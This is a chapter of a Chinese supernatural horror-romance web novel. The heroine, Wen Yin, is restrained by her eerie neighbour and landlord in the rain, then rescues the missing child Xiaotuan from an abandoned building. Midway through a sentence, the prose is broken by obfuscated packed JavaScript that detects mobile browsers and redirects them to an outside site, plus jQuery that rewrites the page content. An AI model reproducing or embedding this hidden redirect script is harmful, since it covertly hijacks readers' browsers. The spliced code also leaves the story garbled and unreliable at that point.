温音动不了了。
双腿像是陷入了淤泥里。
沈斯年停在她脸侧的修长指节,在察觉到她后退的意图后,转而向下,轻轻钳住了她的下颌。
力道传来,温音被迫抬头,将整张脸暴露在了诡异的月色中。
湿透的黑发无声垂落,被雨水打湿的睫毛一颤一颤,琥珀色的瞳孔里只印着他的身影。
柔弱、无助、可怜。
带着股让人想将她撕碎再一口咽下的欲望。
“沈……”
温音一个沈字还没完整喊出口,下颌倏地一痛,她本能张嘴,接着唇瓣一凉,带着些粗糙质感的指腹,直直探入了她的口腔中。
!!!
温音还没喊出的字眼被堵在了咽喉中,耳畔又传来一股凉意。
是房东先生同样冰冷的手指,拂去了黏在她耳后的湿发,最后落在了她湿漉漉的小巧耳垂。
碾压,拨弄。
不知轻重的力道,弄得她有些疼。
但她开不了口,因为面前的沈斯年,在观察到她惊诧又蹙眉的表情后,像是来了兴致般,捏住了她更为柔软的舌尖。
028被眼前这幅诡异的场景,震惊到大气不敢喘。
还在思索宿主到底要怎样才能顺利脱身时,就看到被钳制住的宿主,倏地红了眼眶。
泪水积聚着从眼尾滑落,一颗又一颗,混合着雨水,狠狠砸落在了青年的手背上。
又顺着他的手背,坠落,没入了还缠着她小腿的黏稠黑影中。
脚下的黑影开始拉扯,两个漆黑狗头一左一右,对着医生和房东,开始狂吠起来。
身后的房东停止了拨弄她耳垂的动作,食指往前,从她湿润的脸颊一拂而过。
摸到了一脸的泪水。
“哭什么?”
冷冽的音色传来,温音没法回头,只听到了细小的摩擦声,有什么东西从她和房东相贴的后背蔓延而来。
落在颈侧又往脸颊而上,带着奇怪的触感。
温音隐约瞥见一抹绿色,是……植物的枝蔓。
嫩芽般最脆弱的顶端,毛绒绒的,宛如进食的小蛇,一寸寸沿着脸颊上的泪痕舔舐而上,最后落在了她通红的眼尾。
温音瞳孔里印出了嫩芽的形态,她眨了眨眼睛,一滴泪水还没来得及坠落,就被还带着植物绒毛的顶端吸食殆尽。
那嫩芽停在她眼前观察了好一会,确定再没有眼泪溢出的痕迹后,终于心满意足退了下去。
那过于缓慢的速度和毛绒绒的触感,激得温音忍不住颤栗了一下。
“干净了。”
房东先生开口,藤蔓褪去,温音脚边的小狗还在狂吠,只是两个狗头,都朝向了还捏着温下颌的沈斯年。
“汪汪!”
沈斯年镜片后的目光,一直牢牢落在温音脸颊,注视着她被清理的过程。
此时泪水被处理干净,他终于抽空垂眸看了一眼还缠着温音小腿的黏稠黑雾。
那狗狗的叫声在青年的视线中倏地小了些许,最后小狗呜咽一声,停止了犬吠。
同时温音腿上一凉,小狗开始趴在她脚边舔她的脚踝。
说不了话,动不了身。
面前人过于接近的距离,又开始让温音整个人像是被浸泡在了消毒水中。
她勉强动了动舌尖,吐出几个含糊不清的字眼。
“放…开…”
沈斯年没动。
不管是手,还是视线。
他面色依旧温和,但镜片后投射而来的目光,浓稠得像要将她拖拽进去,拉入最底层的深渊。
好陪他永远沉沦。
温音心中一惊。
示弱对他没用。
下颌骨处传来的力道依旧沉重,温音眨眨眼睛,在同沈斯年的对视中,一口咬上了还捏着她舌头不放的手指。
浓郁的血腥味顿时涌入了她的口腔。
“嗯?”
月色下的青年歪了歪脑袋。
他像是丝毫没有察觉到疼痛,只眼神奇怪地在温音唇瓣停留了片刻,最后指尖微动,松开了。
温音心下微微松了口气,但没想到下一秒,对方仿佛化身成了牙科医生,血淋淋的指尖抚上了温音刚刚咬过他的那几颗尖牙。
一颗一颗,摩挲而过。
神色认真而专注。
像在研究什么没见过的奇怪物品。
浓郁的血腥气直往温音口鼻里钻。
温音被呛得受不了了,正要给这始作俑者再来一口。
但他突然撤出了手。
下颌同时一松,温音得到了自由。
但还是有不少血迹顺着她的咽喉往里,没入了她的身体。
“咳咳、咳!”
被松开的温音发出了一阵呛咳,好不容易缓过来,开口的第一句却是质问。
“咳咳……小、小团呢!”
激烈的咳嗽下,语句也变得没那么流畅起来。
她抬起泛起生理性泪水的眼眸,直直盯着眼前垂眸看她的沈斯年。
漆黑小狗还趴在她脚边舔舐,狗狗舌头特有的倒刺舔得那块皮肤泛起了细微刺痛。
“阿无!”
温音语气有些烦躁。
“咳、停下!”
脚边的舔得正欢的狗狗一愣,两个狗头同时抬起朝温音看来。
见温音神色不佳,呜了一声,趴在地上不动了。
温音的双脚得到了自由,她捂着咽喉往旁边挪了一步,脱离后背紧贴的胸膛,同邻居和房东成了三角站位。
放眼望去,地面还遍布着密密麻麻的尸骨。
呛咳终于平复,她再次朝面前的两人问出了同样的话语。
“小团呢?”
沈斯年没有开口,房东先生也沉默不语。
密集雨幕下,两人衣摆没有沾湿分毫,都只静静垂眸,用格外相似的眼神看着她。
也不知道在想什么。
足足十多分钟过去,温音浑身湿透地在雨中打了个冷颤。
面前的房东和邻居突然同时开口。
“小团在哪,对你重要吗?”
冷冽和温和的声线重叠,融合成温音未曾听过的音色,在雨水滴答声中显得格外失真。
“重要。”
温音被冻得脸色苍白,只余嘴角一抹鲜红血迹,在月色下格外刺眼。
将她柔弱的模样,诡异地染上了一丝煞气。
“可他对你而言,只不过是一个陌生的小孩。”
房东先生站在树下,皂角树枝叶隐隐绰绰,枝蔓交缠,似乎快要同他漆黑身影融为一体。
是十足的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15862668|176116||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
非人感。
温音被雨淋得已经有些睁不开眼,她抹了抹眼睫上聚集的雨水,低头看向地面的森森骸骨。
一只手中还握着代表着小团身份的长命锁。
“陌生的小孩又如何……”
“他叫我姐姐。”
“我得保护他。”
“汪!”
趴在地上的黑色狗狗倏地汪了一声,在雨幕中对温音摇了摇尾巴。
“房东先生,沈医生。”
温音摊开手心,朝两人举起了手中的长命锁。
“你们能告诉我,小团在哪吗?”
雨水顺着温音脸颊落下,就像她在无声哭泣。
“我不想这堆烂泥里,再多出一个不见天日的长命锁了。”
滴滴答答。
雨水坠落又溅起,在温音视野里不断循环。
沉默良久的沈斯年忽然在夜色中轻笑一声。
他视线先是看向温音掌心的长命锁,后又垂眸,停在了满地泥泞的尸骨上。
“出门往右,尽头废弃居民区。”
沈斯年温和的语气中带着诡异的兴奋,隔着镜片的漆黑双眸毫不掩饰打量着眼前的人。
“希望,你来得及。”
话音落下,一阵冷风吹过,树下的两道修长身影,皆不见了人影。
脚边的黑色小狗再次朝她汪了一声。
犬齿扯了扯她的裤脚,起身就往外跑。
“汪!”
示意她跟上。
温音眨眨眼睛,一脚踏入了泥水中。
-
半夜的长街空无一人,五条腿的小狗窜得飞快,眩晕的黑色毛发也彻底融入了夜色里。
要不是它还时不时回头等等温音,朝她发出声响,只怕温音早已迷失了方向。
长街尽头的拐角,是一片废弃的低矮楼层,破败空洞,静静蛰伏在居民区的尽头。
雨势又渐渐稀疏起来,圆月从乌云后露出了被遮挡的部分,将这片区域照得清晰可见。
黑色小狗带着温音在楼层里蹿来绕去,最后终于停在了最里一栋矮楼前。
“汪汪。”
小狗站在楼前对她摇了摇尾巴,在她靠近时又舔了舔她垂落的指尖。
温音来不及训斥,一眨眼,黑色小狗就消失在了她的视野中。
只剩下眼前空洞的漆黑大门。
温音没在周围发现其他动静,夜深人静,不见人影。
她在楼内找了好半天,最后终于在一个废弃衣柜里,发现了嘴角贴着胶布,陷入昏迷的小团。
温音因为寒冷,指尖颤抖着摸上了小团的鼻息,压在心口的巨石终于卸了下来。
小团还活着。
她将小团抱出,撕下了他嘴上的胶布,走出屋外时,下了大半夜的雨终于停了。
一轮皎洁的圆月悬在两人头顶,将回家的路照得一片透亮。
快到家时,趴在温音背上一路都没什么反应的小团,终于迷迷糊糊将眼睛睁开了一条缝隙。
他将脑袋埋在温音的脖颈处,小孩稚嫩的童音又闷又哑,还没彻底清醒。
“妈妈,这是去天上的路吗?你来接我一起去变成星星的,对吗?”
话音落下,温音只感觉脖颈处一片温热。
是小团在睡梦中,哭了。